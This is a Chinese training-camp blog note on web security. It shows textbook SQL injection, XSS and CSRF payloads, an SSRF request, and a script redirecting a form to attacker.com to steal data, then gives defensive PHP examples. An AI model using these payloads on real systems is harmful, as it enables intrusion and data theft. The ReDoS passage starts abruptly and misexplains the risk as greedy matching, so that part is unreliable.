【青训营】Web开发安全

熊伟鑫
155 阅读4分钟

这是我参与「第五届青训营 」笔记创作活动的第11天

前言

一个黑客可以使用以下攻击方法来攻击web应用：

  1. SQL注入：通过构造特殊的SQL语句来破坏数据库安全。
  2. XSS（跨站脚本攻击）：通过注入恶意脚本来损害用户数据或获取敏感信息。
  3. CSRF（跨站请求伪造）：通过欺骗用户执行不请求的操作来破坏应用。
  4. 文件上传漏洞：通过上传恶意文件或脚本来损害系统安全。
  5. 密码破解：通过暴力猜测或字典攻击来破译密码。

这些攻击只是web开发安全方面的一些主要攻击方式，但是不断发展的技术和攻击方法意味着应该始终保持警惕。

作为一个开发者，可以通过以下几种手段来防止hacker的攻击：

  1. Input Validation: 对输入的数据进行有效性检查，以避免攻击者输入恶意代码。
  2. Escape characters: 对于用户输入的数据，进行转义处理，以避免XSS攻击。
  3. SQL prepared statements: 避免使用拼接字符串的方式构造SQL语句，使用预编译语句，可以防止SQL注入攻击。
  4. CSRF protection: 使用CSRF token来防止CSRF攻击，通过在客户端存储一个唯一的令牌，并在提交表单时与服务器端的令牌进行比对，确保请求的合法性。
  5. HTTPS: 使用HTTPS加密通信，以防止数据在传输过程中的窃取。
  6. Logging and Monitoring: 定期记录和监控系统日志，以及应用程序的访问情况，以检测可疑的攻击活动。
  7. Software update: 及时更新软件和操作系统，以避免因系统漏洞导致的攻击。
  8. Employee training: 对员工进行安全培训，以防止因员工疏忽导致的安全问题。

这些措施可以帮助开发者在提高系统安全性的同时，保护应用程序免受攻击者的侵害。

1.hacker角度

1.1 SQL注入

SQL注入是Web应用中的一种常见攻击方法，允许攻击者通过Web应用注入恶意SQL命令以执行未经授权的数据库操作。SQL注入分为几种不同的类型，包括：

  1. 盲注：盲注是一种无目的的SQL注入攻击，通常用于探测系统的漏洞。盲注攻击者并不知道攻击目标系统上存在哪些数据，因此采取了一些技巧来确定数据存在情况，以此来确定系统是否存在SQL注入漏洞。
  2. 单引号注入：单引号注入是一种简单的SQL注入攻击，攻击者在Web应用的输入字段中注入带有单引号的恶意代码，以构造恶意的SQL命令。

例如，在使用的搜索功能中，如果没有正确进行输入验证，则攻击者可以通过注入单引号注入恶意代码，从而访问敏感数据：

sql
SELECT * FROM users WHERE username = '$username' and password = '$password'

如果攻击者输入了以下内容：

vbnet
username: admin' OR '1'='1
password: anything

那么执行的SQL语句将变为：

sql
SELECT * FROM users WHERE username = 'admin' OR '1'='1' and password = 'anything'

这将导致所有用户都被认为是管理员，从而允许攻击者访问任意数据。

  1. 双引号注入：双引号注入与单引号注入类似，但攻击者使用双引号而不是单引号注入恶意代码。
  2. UNION查询注入：UNION查询注入允许攻击者将两个或多个查询结果合并在一起，以便在结果集中插入恶意数据。

例如，假设Web应用使用以下SQL语句来执行搜索查询：

sql
SELECT * FROM products WHERE name = '$searchTerm'

如果攻击者注入以下内容：

vbnet
searchTerm: anything' UNION SELECT username, password FROM users --

那么执行的SQL语句将变为：

sql
SELECT * FROM products WHERE name = 'anything' UNION SELECT username, password FROM users -- '

这将导致Web应用返回包含所有用户名和密码的结果集，从而允许攻击者访问敏感数据。

通过这些示例，我们可以看出SQL注入攻击是如何运作的，并且攻击者可以使用多种方法注入恶意代码，以执行未经授权的数据库操作。因此，开发人员必须采取适当的措施，例如进行输入验证和使用参数化查询，以防止SQL注入攻击。

1.2XSS（跨站脚本攻击）

XSS（跨站脚本攻击）有两种主要类型：存储型XSS和反射型XSS。

  1. 存储型XSS：存储型XSS攻击将恶意脚本保存到Web应用的数据存储中，以便在其他用户访问相关数据时执行该脚本。

例如，假设Web应用允许用户在博客中发布评论，并使用以下代码将评论内容保存到数据库：

bash
$comment = $_POST['comment'];
$query = "INSERT INTO comments (comment) VALUES ('$comment')";
mysql_query($query);

如果攻击者在评论字段中注入以下内容：

php
<script>alert('XSS')</script>

那么当其他用户访问页面时，该脚本将被执行，从而向用户显示一个警报对话框。

  1. 反射型XSS：反射型XSS攻击在用户请求数据时执行恶意脚本，而不是将其保存到数据存储中。

例如，假设Web应用使用以下代码在搜索结果页面中显示搜索字词：

bash
$searchTerm = $_GET['searchTerm'];
echo "Results for '$searchTerm'";

如果攻击者向该页面发送以下URL：

php
http://example.com/search.php?searchTerm=<script>alert('XSS')</script>

那么恶意脚本将在用户访问该页面时被执行，从而向用户显示一个警报对话框。

这些是XSS的两种主要攻击类型。它们都具有以某种方式把恶意代码注入到Web页面中并让其他用户在访问该页面时执行该代码的目的。

要防范XSS攻击，开发人员需要对输入数据进行严格验证和过滤，并使用函数如htmlspecialchars()来转义特殊字符以防止XSS攻击。开发人员还需要确保不会在不信任的数据中生成HTML，并且应使用技术如Content Security Policy（CSP）来限制网页中可以执行的脚本。

1.3CSRF（跨站请求伪造）

CSRF（Cross-Site Request Forgery）是一种恶意攻击，它通过在受害者的浏览器中执行恶意请求来欺骗Web应用程序。攻击者通常会使用邮件或社交媒体等途径向受害者发送一个诱人的链接，然后在受害者点击该链接时向Web应用程序发送恶意请求。

CSRF攻击的代码示例如下：

php
<html>
  <body>
    <form action="http://example.com/transfer" method="post">
      <input type="hidden" name="amount" value="100">
      <input type="hidden" name="to_account" value=" attacker_account">
      <input type="submit" value="Transfer">
    </form>
  </body>
</html>

在这个例子中，攻击者向受害者发送一个包含以上代码的网页。如果受害者在登录了example.com的情况下访问该页面并点击了“Transfer”按钮，将向example.com发送一个从受害者帐户转移100单位资金到攻击者帐户的请求。

要防范CSRF攻击，开发人员需要在应用程序中使用特殊令牌（通常称为CSRF令牌）来识别请求的合法性。此令牌通常包含在HTML表单中并随请求一起发送，服务器在处理请求时将验证该令牌的有效性。此外，开发人员还可以使用HTTP头字段，如“X-CSRF-Token”，来传递CSRF令牌。

1.4SSRF (Server-Side Request Forgery)

  • SSRF (Server-Side Request Forgery)：是指攻击者在服务端构造一个请求，该请求并不是用户意图发出的请求。通过利用漏洞可以获得系统内部信息，或者执行任意的HTTP请求。比如，如果应用没有限制对内部服务请求的源IP地址，攻击者可以构造请求访问内部服务，从而获取内部网络的敏感信息。

代码示例：

bash
GET /index.php?url=http://internal.com/secret HTTP/1.1
Host: victim.com

1.5DOM (Document Object Model)

  • DOM (Document Object Model) 攻击：是一种客户端攻击，攻击者通过构造恶意代码来操纵页面的DOM结构，导致网站的正常功能失效，或者窃取敏感信息。比如，攻击者可以通过修改网页元素的属性，使得网站跳转到攻击者控制的页面，或者在用户输入信息后提交到攻击者的服务器。

代码示例：

php
<script>
document.getElementById("form").action="http://attacker.com/steal-data";
</script>

其中贪婪模式是指正则表达式匹配最长的字符串，而非最短的字符串。在频繁的匹配过程中，如果不加以限制，正则表达式可能导致内存不足，造成程序崩溃，进而形成DOS攻击。

代码示例： 以下代码匹配字符串"aaaaaaaaaaaaaaaaaaaaa"中的"a"字符：

python
import re

pattern = re.compile(r'a+')
match = pattern.match("aaaaaaaaaaaaaaaaaaaaa")
print(match.group())

在这个代码中，由于加号(+)为贪婪模式，因此匹配出的是最长的字符串"aaaaaaaaaaaaaaaaaaaaa"。如果加号变为非贪婪模式，则匹配结果会变为"a"。

2.开发者角度

2.1 输入验证和数据清洗

输入验证和数据清洗是保护系统免受恶意数据侵害的重要措施。输入验证涉及检查用户输入的数据，以确保它具有正确的格式并符合所需的限制。清洗指的是清理或转换输入数据的过程，以删除任何恶意内容。

PHP举例:

php
$name = test_input($_POST["name"]);

function test_input($data) {
  $data = trim($data);
  $data = stripslashes($data);
  $data = htmlspecialchars($data);
  return $data;
}

这段代码是如何执行输入验证和消毒的基本示例。它使用test_input()函数从输入数据中删除任何空白、斜杠和特殊字符，从而对其进行消毒。

2.2 会话管理

会话管理是在服务器上管理用户会话数据的过程。会话是在用户登录网站时创建的，用于存储用户特定的数据。

PHP示例:

php
session_start();

if (!isset($_SESSION['user_id'])) {
  header("Location: login.php");
  exit;
}

这段代码创建一个会话并检查用户是否已登录。如果用户没有登录，他们将被重定向到登录页面。

2.3 访问控制和权限管理

访问控制是指控制谁可以访问网站上的特定资源或页面的过程。权限管理包括定义用户可以在资源或页面上执行哪些操作。

PHP示例:

php
$is_admin = false;

if (isset($_SESSION['user_role']) && $_SESSION['user_role'] === 'admin') {
  $is_admin = true;
}

if (!$is_admin) {
  header("Location: unauthorized.php");
  exit;
}

这段代码通过检查user_role会话变量来检查用户是否是管理员。如果用户不是管理员，他们将被重定向到未经授权的页面。这段代码通过只允许具有“admin”角色的用户访问某些资源来实现访问控制和权限管理。

avatar
文章
阅读
粉丝